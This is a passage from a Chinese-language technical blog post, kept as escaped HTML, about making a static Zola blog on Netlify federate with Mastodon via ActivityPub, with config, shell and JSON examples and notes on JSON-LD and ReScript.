Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来设置，但我用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以给静态文件设。所以我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Outbox、Create&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和博文一样静态。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;toml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;note&#x2F;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;headers&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Content-Type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;application&#x2F;activity+json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;如何生成Outbox、Create和Note&quot;&gt;如何生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Outbox、Create&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;&#x2F;h4&gt;
&lt;p&gt;我用的生成器是功能不多的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Zola，没办法同时生成两种格式的输出。这倒也没关系，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Zola&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS。等&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生成了，再&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Grep&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一下每篇文章的日期、题目、网址，就可以拼出对应的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Outbox、Create&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note。&lt;&#x2F;p&gt;
&lt;p&gt;另外提一嘴，Grep&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-Po&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配合&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;\K、(?=)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有奇效。获取所有日期，只需要：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;mapfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; dates&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -Po&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;published&amp;gt;\K[^&amp;lt;]*(?=&amp;lt;&#x2F;published&amp;gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $ATOM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;何时发送新信息&quot;&gt;何时发送新信息&lt;&#x2F;h4&gt;
&lt;p&gt;按照&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的规范来讲，发送新消息的动作是由客户端向服务器发通知，再由服务器发给接收人。但反正也是一个人用的服务器，就没必要再实现这套流程了。&lt;&#x2F;p&gt;
&lt;p&gt;和生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类似，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;build
command&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里加一行发送消息的命令即可。也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git
post-commit
hook&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在每次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后自动发送最新的博文。不用担心重复发嘟，ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要求服务器必须有去重能力。&lt;&#x2F;p&gt;
&lt;p&gt;另外只要嘟文签名是对的，你也可以在本地发送。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;实现&quot;&gt;实现&lt;&#x2F;h2&gt;
&lt;p&gt;好，计划完了，就该实现了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;教程推荐&quot;&gt;教程推荐&lt;&#x2F;h3&gt;
&lt;p&gt;我是有意按耐住从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON-LD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开始介绍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及逐行解释自己代码的心的。因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;创造者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gargron&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年就写了两篇浅显易懂的博客，介绍了如何自己写程序向某条嘟文发评论、如何验证&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发来的信息、如何向别人发送关注请求等：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.joinmastodon.org&#x2F;2018&#x2F;06&#x2F;how-to-implement-a-basic-activitypub-server&#x2F;&quot;&gt;How to implement a basic ActivityPub
server&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.joinmastodon.org&#x2F;2018&#x2F;07&#x2F;how-to-make-friends-and-verify-requests&#x2F;&quot;&gt;How to make friends and verify
requests&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我搜到的其他教程大部分止步于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Actor、WebFinger&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的简单介绍上。那些是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gargon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;第一篇里覆盖的内容，所以我就不推荐别的了。唯一需要注意的是，如今&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTTP
signatures&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;新增了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digest&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要求，具体看下面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#Signing_HTTP_Messages&quot;&gt;Signing
HTTP
Messages&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那段&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当然，如果你更倾向直接阅读规范的话，我推荐你先看一看关于如何阅读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那一系列规范的建议：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tinysubversions.com&#x2F;notes&#x2F;reading-activitypub&#x2F;&quot;&gt;A
highly opinionated guide to learning about
ActivityPub&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的规范很短，因为它谈到的内容很少，而且是建立在另外三篇规范的基础之上的。如果初看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;规范，只会发现哪哪都是洞。我看到那篇博客时已经读了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub、Activity
Vocabulary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的规范、Signing HTTP
Messages&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的草案、了解了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON-LD。对于那篇建议的顺序以及可跳过的部分，我十分赞同并且相见恨晚。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;获取来自Mastodon的Activity&quot;&gt;获取来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity&lt;&#x2F;h3&gt;
&lt;p&gt;实现的第一步就是获取来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的消息。所以推荐先把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Follow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现了，这样可以收到自己主账号发送的消息。&lt;&#x2F;p&gt;
&lt;p&gt;另一个简单方法是给嘟文链接末尾加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;activity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以在浏览器里显示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity；加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.json&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会显示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Object。类似这样：&lt;code&gt;https:&#x2F;&#x2F;实例域名&#x2F;users&#x2F;账号名&#x2F;statuses&#x2F;一串id&#x2F;activity&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;后来我得知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以导出自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件。&lt;s&gt;也许这才是最简单的方法。&lt;&#x2F;s&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2023-08-02&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新：最简单的方法是去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;activitypub.academy&quot;&gt;https:&#x2F;&#x2F;activitypub.academy&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;注册一个临时账号（不需要填任何信息&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那里集成了不能更方便的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日志和阅读器（右边栏的最后两个选项&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;网页捕获_2-8-2023_225422_activitypub.academy-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;网页捕获_2-8-2023_225422_activitypub.academy-optim.jpg&quot;
	alt=&quot;activitypub.academy的Activity Log界面&quot;
	height=&quot;535&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;遇到的问题&quot;&gt;遇到的问题&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;Object和它的id是等价的&quot;&gt;Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是等价的&lt;&#x2F;h4&gt;
&lt;p&gt;按照&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity
Vocabulary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的例子来看，ActivityStream&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应当是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON
Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的形式——就是得有个大括号，而不仅仅是个字符串——就是只有傻瓜引号。Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Create
Activity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note
Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以大括号的形式嵌套进来，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Follow
Activity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Actor
Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的网址代替了大括号：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;@context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;www.w3.org&#x2F;ns&#x2F;activitystreams&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;mona.do&#x2F;aa2a5bfb-0bbf-4f49-ba04-098ae570e1bb&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Follow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;actor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;mona.do&#x2F;users&#x2F;alvis&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #99841877;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;.netlify&#x2F;functions&#x2F;activitypub&#x2F;users&#x2F;test&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我最初以为是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有多霸道，要违反规范再创标准。后来才得知“Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等价”这是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON-LD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所规定的。ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是建立在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityStream&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之上的，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityStream&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;又是建立在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON-LD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上。所以嵌套&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时就是可以把大括号简写成字符串。&lt;&#x2F;p&gt;
&lt;p&gt;那个字符串一般是能获取到对应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的网址。从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的过程叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;dereference：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mastodon&#x2F;mastodon&#x2F;blob&#x2F;081f14b361b08d3c5fd21bf424ab0efd9af87d9f&#x2F;app&#x2F;lib&#x2F;activitypub&#x2F;activity.rb#L116-L122&quot;&gt;activity.rb:168&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ReScript不似想象般美好&quot;&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不似想象般美好&lt;&#x2F;h4&gt;
&lt;p&gt;Netlify
functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;支持三种语言：JavaScript、TypeScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Go。其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript、TypeScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Go&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是我所讨厌的语言。这导致我没语言可用。&lt;&#x2F;p&gt;
&lt;p&gt;倒也不慌，因为我听说过一个名叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语言可以编译到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript。据说这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;ruby&gt;ReScript&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;OCaml&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;的类型系统身经百战，编译速度飞快，和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;互操作简单，而且生成的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码可读性很高。我早想试试它了。这次可以说是天赐良机——ReScript，快给我露露身手吧！&lt;&#x2F;p&gt;
&lt;p&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Record、Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Js.Dict.t&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型可以直接映射到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS
Object。但是要表示一个类型可能是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS
Object，也可能是字符串的话，ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就无能为力了。ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有可以表达“或类型”的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Variant，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Variant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;映射到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript
Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时会附带额外的信息&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;这貌似是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hindley–Milner
type
system&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的要求：ADT（Variant）必须有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Constructor。Constructor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对应到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是额外的信息。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
